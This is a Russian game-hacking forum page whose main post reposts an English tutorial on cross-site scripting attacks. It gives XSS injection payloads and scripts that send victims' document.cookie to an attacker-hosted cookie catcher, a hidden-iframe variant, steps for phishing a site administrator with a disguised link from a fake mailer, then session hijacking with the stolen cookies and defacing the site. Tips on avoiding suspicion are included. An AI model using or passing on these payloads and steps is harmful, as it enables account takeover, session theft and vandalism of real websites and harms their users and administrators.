Главная Форум Файлы Статьи СОСТАВ ZH&ZHS О НАС GITHUB КАНАЛ YouTube BlackList WhiteList
Добро пожаловать на уникальный игровой портал ZETA-HACK TEAM! Здесь Вы сможете найти самые интересные новости из мира игровой индустрии, найти самые свежие сотфины для различных онлайн игр, общаясь на форуме получать мнения специалистов и помогать тем кто не смог получить нужный ответ в той или иной сфере!
Авторизация Регистрация
Последние обсуждаемые темы на форуме
Последние комментарии к новостям
Топ-10 форумчан
LCrasher All SAMP ver =AlexDrift= 0
Anti-Freeze CR-MP-0.3e =AlexDrift= 0
RaknetIPWhiteList 0.3.7 =AlexDrift= 2
крякнутый впн Vitalek 1
Накрутка для вк Vitalek 2
[Plugin]Unique Tuning =AlexDrift= 1
клео на 037 Vitalek 0
клео 4 Vitalek 0
халявный чит на кс го 2020 Vitalek 0
QUERY flooder AdCKuY_DpO4uLa 2
ExtremeX DM 27.05.2020
ExtremeX DM 22.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
ExtremeX DM 09.05.2020
1. =AlexDrift= 597
2. Pahanch1kkk 46
3. AdCKuY_DpO4uLa 37
4. InFerNo 35
5. R4DUGA 32
6. d1amondl1on 31
7. [NACIONAL]IST_BERZ 23
8. Julia 21
9. Lil_Jonson 17
10. Effect 15
Витрина ссылок Купить ссылку (4 р.) » | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка | Ваша ссылка

  • Страница 1 из 1
  • 1
Форум » Архив » Корзина » XSS Tutorial
XSS Tutorial
04.12.2017 в 05:23
#1
=AlexDrift=
Не важны козыри если игра не на счет...
Статус: Offline
Регистрация: 24.11.2012
Сообщения: 597
Репутация: 85
Что бы добавить медаль "Легенда портала" добавляем в ?if "or 1='ID пользователя'"
Что бы добавить медаль "Золотой страж" добавляем в ?if "or 1='ID пользователя'"
Код
Tutorial By: H0rnet and TeMp3r

Hello Guys Today i will write a Complete Tutorial on XSS.

First Of All XSS is in 2 Types, Persistent and Non-Persistent type.

For XSS we will use something called a Cookie Catcher.
Question will be that why we would need someones else cookies?

The answer is that we can change our browser's cookies to login as them!!! So lets call it Session Hijacking.

First go to a free hosting site like http://www.110mb.com or any other php hosting sites and register there. Then download this cookie catcher and upload it.

Cookie Catcher: http://adf.ly/1I5oz

What does the cookie catcher do?
It grabs the user's:

 o  Cookies
 o   IP
 o   Referral Link. Which Page is attached to that Link
 o   Time And Date

Get Vulnerable sites:

Ok first we need sites that are vulnerable to XSS so it will work on them.
To test it we will need to add a code after the link.
I will use this site that many of you probably saw it before.
http://adf.ly/Tdo3

Now for testing If a site is vulnerable or not you can add these codes:

Code:
"><script>alert(document.cookie)</script>

Code:
'><script>alert(document.cookie)</script>

Code:
"><script>alert("Test")</script>

Code:
'><script>alert("Test")</script>

Or a new one which i found out myself in which you can inject HTML:

Code:
"><body bgcolor="FF0000"></body>

Code:
"><iframe src="www.google.com" height=800 width=800 frameborder=1 align=center></iframe>

Then if we see a java script popup like this:
IMG unavailable
Or if you used my testing and you saw the page's background go black or a page of google opens in that site it means its vulnerable to XSS attack.

In the end, if your site is http://www.example.com
The link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>

Or if you used my testing and you saw the page's background go black or a page of google opens in that site it means its vulnerable to XSS attack.

In the end, if your site is http://www.example.com
The link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script>

Persistent XSS:

In this method we will grab the victim's cookies with no suspection and completely stealth.
Now assume we have a forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS.
Ok now lets go to this site: http://adf.ly/1I6ns
Now test and see if the XSS vulnerable test work on it.
It does!!! And your getting one of the vulnerability's symptoms. So now lets try to grab it's cookies. If there is a box to type or submit it, add this:

Code:
<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

and submit that post in the forum or the comment box also its good to add something before adding the code like: hey i got a problem logging in???
so they wont suspect you.

Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher.php search for cookies.html which is a new file that show you the cookies. Like if your cookie catcher link would be: http://www.example.com/cookie catcher.php
The container of the cookies would be: http://www.example.com/cookies.html

Now visit cookies.html and you would see the session of that cookie!

Now there is another way for a cookie grabbing drive by, add this code and post it:

Code:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie)</iframe>

Then post it in the forum or the comment box.
Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a

<iframe src="www.google.com"></iframe> and you will understand iframes more Smile

ofc the site Needs to have cookies supported! a blank javascript means you need to go to another site.

Non-Persistent XSS:

Ok in this method we will make the victim admin go to our link. First we will pick a XSS vulnerable site. For this method we will need a search.php which that page is vulnerable to XSS and has cookies in that page. In the vulnerable search.php in the textbox for the word to search for type:

Code:
<script>alert(document.cookie)</script>

And click the search button. If you see a javascript popup means its vulnerable to Non-Persistent XSS attack. Ok now we will do something similar.
I will use this link for this method: http://adf.ly/1I6ns
Now in front of the search.php?search= add this:

Code:
"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

Now go to http://www.spam.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vulnerable website and send a Fake Mail from a online fake mailer like this one: http://adf.ly/1I73J

Now in the body just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php which you added the code in front of it to him. so the spam will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does and changes his password you can still login as him.

Session Hijacking:

Ok now you have the Admin's cookies either way, so we need to edit our own browser's cookies. First go to that page's admin login or its main page and delete ALL of your cookies from that page. Now go in your cookies.html page and copy everything in front of the Cookie: in a note open Notepad. The ; separates cookies from each other so first copy the code before the ; .
Now go in that vulnerable website and clear the link. Instead of that link add this:

Code:
Javascript:void(document.cookie="")

or for an example:

Code:
Javascript:void(document.cookie="__utma=255621336.1130089386.1295743598.1305934653.1305950205.86")

Then visit the link. Do this with all of the cookies and refresh the page. And you are logged in as administrator.
So now go in your Admin Panel and upload your Deface Page.

Good Luck. Now you have Hacked a Website with XSS.

Note: This TUT is written by me and wasn't leeched from ANYWHERE else or copied. If you share this please give credits cause i spent alot of time on writing this TUT for you guys.

ENJOY... Yeye

В ЛС не отвечу, даже не старайтесь. Все вопросы на форум, создавайте тему там ответим....
Форум » Архив » Корзина » XSS Tutorial
  • Страница 1 из 1
  • 1
Поиск:

условия предоставления
Авторские права и контакты
счетчики
счетчики
счетчики
Файлы, статьи, публикации на форуме предоставлены исключительно в ознакомительных целях. Все материалы принадлежат исключительно их владельцам! Администрация портала не несет ответственности за последствия использования вами сторонних материалов, опубликованных на форуме, каталоге файлов, каталоге статей, но гарантирует отсутствие вредоносного кода в новостях и публикациях на главной. Напоминаем:Весь материал публикуется только для ознакомительных целей! Администрация не несёт ответственности за размещённые материалы. Все материалы предоставлены в ознакомительных целях и администрация предлагает удалить их после ознакомления.
  • Основатель портала - AlexDrift
  • Автор дизайна, разработчик - Lil Jonson
  • По возникшим вопросам дизайна - liljonson682@gmail.com
  • По всем возникшим вопросам - vk.com/alexdrift1137
  • Уникальный игровой портал ZETA-HACK.RU ® 2011 - 2019
  • Сайт создан в системе uCoz

  • Яндекс.Метрика
    Рейтинг@Mail.ru